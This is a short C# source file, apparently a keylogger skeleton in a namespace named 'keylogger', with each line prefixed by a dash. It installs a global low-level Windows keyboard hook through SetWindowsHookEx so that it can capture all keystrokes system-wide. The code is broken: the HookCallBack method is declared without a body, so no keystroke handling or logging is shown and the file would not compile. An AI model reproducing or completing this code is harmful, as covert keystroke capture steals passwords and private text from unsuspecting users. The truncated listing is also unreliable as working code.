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- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Text;
- using System.Threading.Tasks;
- using System.Runtime.InteropServices;
- using System.Threading;
- using System.Windows.Forms;
- using System.IO;
- using System.Diagnostics;
- namespace keylogger
- {
- class Program
- {
- private const int WH_KEYBOARD_LL = 13;
- private const int WM_KEYDOWN = 0x0100;
- private static LowLevelKeyboardProc _proc = HookCallBack;
- private static IntPtr _hookID = IntPtr.Zero;
- static void Main()
- {
- _hookID = SetHook(_proc);
- Application.Run();
- UnhookWindowsHookEx(_hookID);
- }
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr SetWindowsHookEx(int idHook,LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- [return: MarshalAs(UnmanagedType.Bool)]
- private static extern bool UnhookWindowsHookEx(IntPtr hhk);
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,IntPtr wParam, IntPtr lParam);
- [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr GetModuleHandle(string lpModuleName);
- private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
- private static IntPtr SetHook(LowLevelKeyboardProc proc)
- {
- using (Process curProcess = Process.GetCurrentProcess())
- using (ProcessModule curModule = curProcess.MainModule)
- {
- return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName),0);
- }
- }
- private static IntPtr HookCallBack(int nCode, IntPtr wParam, IntPtr lParam);
- }
- }
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